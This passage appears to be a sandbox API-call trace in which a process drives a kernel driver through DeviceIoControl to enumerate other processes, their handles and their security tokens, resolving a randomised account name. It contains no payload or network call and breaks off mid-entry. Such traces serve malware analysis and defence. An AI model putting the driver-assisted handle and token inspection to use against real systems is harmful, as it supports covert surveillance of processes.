[0094.982] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.982] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.982] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.982] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.982] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.982] PsAcquireProcessExitSynchronization () returned 0x0 [0094.982] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff880052335d0) [0094.982] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.982] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.982] PsReleaseProcessExitSynchronization () returned 0x2 [0094.982] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0094.982] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.982] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.982] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.982] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.982] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa70) returned 0xc0 [0094.982] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.982] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80020c2b30, HandleInformation=0x0) returned 0x0 [0094.982] ObOpenObjectByPointer (in: Object=0xfffffa80020c2b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.982] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x12 [0094.982] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024fb240 | out: TokenHandle=0xfffffa80024fb240*=0xc8) returned 0x0 [0094.982] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.982] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.982] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.982] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.984] CloseHandle (hObject=0xc8) returned 1 [0094.984] CloseHandle (hObject=0xc0) returned 1 [0094.984] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.984] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.984] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.984] PsAcquireProcessExitSynchronization () returned 0x0 [0094.984] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880052335d0) [0094.984] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002069b00, HandleInformation=0x0) returned 0x0 [0094.984] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.984] PsReleaseProcessExitSynchronization () returned 0x2 [0094.984] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0094.984] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.984] ObfDereferenceObject (Object=0xfffffa8002069b00) returned 0x1 [0094.984] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.984] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.984] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.984] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0094.984] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.984] PsAcquireProcessExitSynchronization () returned 0x0 [0094.984] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880052335d0) [0094.984] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800207a800, HandleInformation=0x0) returned 0x0 [0094.984] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.984] PsReleaseProcessExitSynchronization () returned 0x2 [0094.984] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0094.984] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002061044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002061044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.984] ObfDereferenceObject (Object=0xfffffa800207a800) returned 0x1 [0094.985] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.985] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.985] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.985] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.985] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.985] PsAcquireProcessExitSynchronization () returned 0x0 [0094.985] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880052335d0) [0094.985] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.985] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.985] PsReleaseProcessExitSynchronization () returned 0x2 [0094.985] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0094.985] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.985] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.985] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.985] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.985] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa80) returned 0xc0 [0094.985] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.985] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80020a64e0, HandleInformation=0x0) returned 0x0 [0094.985] ObOpenObjectByPointer (in: Object=0xfffffa80020a64e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.985] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x12 [0094.985] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024fb240 | out: TokenHandle=0xfffffa80024fb240*=0xc8) returned 0x0 [0094.985] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.985] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.985] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.985] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.987] CloseHandle (hObject=0xc8) returned 1 [0094.987] CloseHandle (hObject=0xc0) returned 1 [0094.987] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.987] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.987] PsAcquireProcessExitSynchronization () returned 0x0 [0094.987] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880052335d0) [0094.987] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020a6e10, HandleInformation=0x0) returned 0x0 [0094.987] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.987] PsReleaseProcessExitSynchronization () returned 0x2 [0094.987] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0094.987] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.987] ObfDereferenceObject (Object=0xfffffa80020a6e10) returned 0x1 [0094.987] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.987] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.987] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0094.987] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.987] PsAcquireProcessExitSynchronization () returned 0x0 [0094.987] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880052335d0) [0094.987] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020b2f20, HandleInformation=0x0) returned 0x0 [0094.987] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.987] PsReleaseProcessExitSynchronization () returned 0x2 [0094.987] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0094.987] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233508) returned 0x0 [0094.987] ObfDereferenceObject (Object=0xfffffa80020b2f20) returned 0x1 [0094.987] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.988] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.988] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.988] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.988] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.988] PsAcquireProcessExitSynchronization () returned 0x0 [0094.988] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880052335d0) [0094.988] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.988] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.988] PsReleaseProcessExitSynchronization () returned 0x2 [0094.988] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0094.988] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0094.988] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.988] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.988] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.988] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa90) returned 0xc0 [0094.988] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.988] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80020d7b30, HandleInformation=0x0) returned 0x0 [0094.988] ObOpenObjectByPointer (in: Object=0xfffffa80020d7b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.988] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x12 [0094.988] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024fb240 | out: TokenHandle=0xfffffa80024fb240*=0xc8) returned 0x0 [0094.988] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.988] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.988] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.988] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.990] CloseHandle (hObject=0xc8) returned 1 [0094.990] CloseHandle (hObject=0xc0) returned 1 [0094.990] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.990] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.990] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.990] PsAcquireProcessExitSynchronization () returned 0x0 [0094.990] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880052335d0) [0094.990] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020caa70, HandleInformation=0x0) returned 0x0 [0094.990] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.990] PsReleaseProcessExitSynchronization () returned 0x2 [0094.990] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0094.990] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233508) returned 0x0 [0094.990] ObfDereferenceObject (Object=0xfffffa80020caa70) returned 0x1 [0094.990] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.990] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.990] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.990] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0094.990] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.990] PsAcquireProcessExitSynchronization () returned 0x0 [0094.990] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880052335d0) [0094.990] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020d0790, HandleInformation=0x0) returned 0x0 [0094.990] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.990] PsReleaseProcessExitSynchronization () returned 0x2 [0094.991] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0094.991] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038c97c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038c97c4, ReturnLength=0xfffff88005233508) returned 0x0 [0094.991] ObfDereferenceObject (Object=0xfffffa80020d0790) returned 0x1 [0094.991] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.991] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.991] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.991] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.991] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.991] PsAcquireProcessExitSynchronization () returned 0x0 [0094.991] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880052335d0) [0094.991] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.991] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.991] PsReleaseProcessExitSynchronization () returned 0x2 [0094.991] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0094.991] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.991] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.991] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.991] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.991] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xaa0) returned 0xc0 [0094.991] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.991] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80020f7380, HandleInformation=0x0) returned 0x0 [0094.991] ObOpenObjectByPointer (in: Object=0xfffffa80020f7380, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.991] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x12 [0094.991] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024fb240 | out: TokenHandle=0xfffffa80024fb240*=0xc8) returned 0x0 [0094.991] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.991] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.991] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.991] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.217] CloseHandle (hObject=0xc8) returned 1 [0095.217] CloseHandle (hObject=0xc0) returned 1 [0095.217] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.217] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, 